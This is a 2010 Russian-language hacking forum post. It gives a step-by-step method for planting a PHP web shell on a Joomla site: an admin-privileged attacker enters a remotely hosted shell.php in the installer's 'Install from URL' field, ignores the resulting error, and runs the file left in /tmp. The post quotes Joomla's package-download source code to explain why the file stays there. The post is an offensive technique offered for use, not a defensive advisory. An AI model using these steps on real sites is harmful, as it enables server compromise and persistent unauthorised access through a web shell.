Показать сообщение отдельно
Старый 05.10.2010, 17:53   #12
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Joomla.
1001 способ
Нужны права админа.
Идём в Extensions -> Install/Uninstall
Цитата:
/administrator/index.php?option=com_installer
Нас интересует поле:
Install from URL (Тоже самое и с upload packade file (Ручная заливка))
Вбиваем туда http://your_site.com/dir/shell.php
shell.php обязательно должен быть в text/plain и с расширением .php
Жмём install.
Получаем ошибку :
Цитата:
Unknown Archive Type
Да нам всё равно как-то, идём /tmp/shell.php
Спасибо за внимание.
PHP код:
function _getPackageFromUrl()
    {
        
// Get a database connector
        
$db = & JFactory::getDBO();

        
// Get the URL of the package to install
        
$url JRequest::getString('install_url');

        
// Did you give us a URL?
        
if (!$url) {
            
JError::raiseWarning('SOME_ERROR_CODE'JText::_('Please enter a URL'));
            return 
false;
        }

        
// Download the package at the URL given
        
$p_file JInstallerHelper::downloadPackage($url);

        
// Was the package downloaded?
        
if (!$p_file) {
            
JError::raiseWarning('SOME_ERROR_CODE'JText::_('Invalid URL'));
            return 
false;
        }

        
$config =& JFactory::getConfig();
        
$tmp_dest     $config->getValue('config.tmp_path');

        
// Unpack the downloaded package file
        
$package JInstallerHelper::unpack($tmp_dest.DS.$p_file);

        return 
$package;
    } 
Уязвимость присутствует из-за того, когда файл помещается в tmp, он по окончанию установки (ошибки) не удаляется.
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием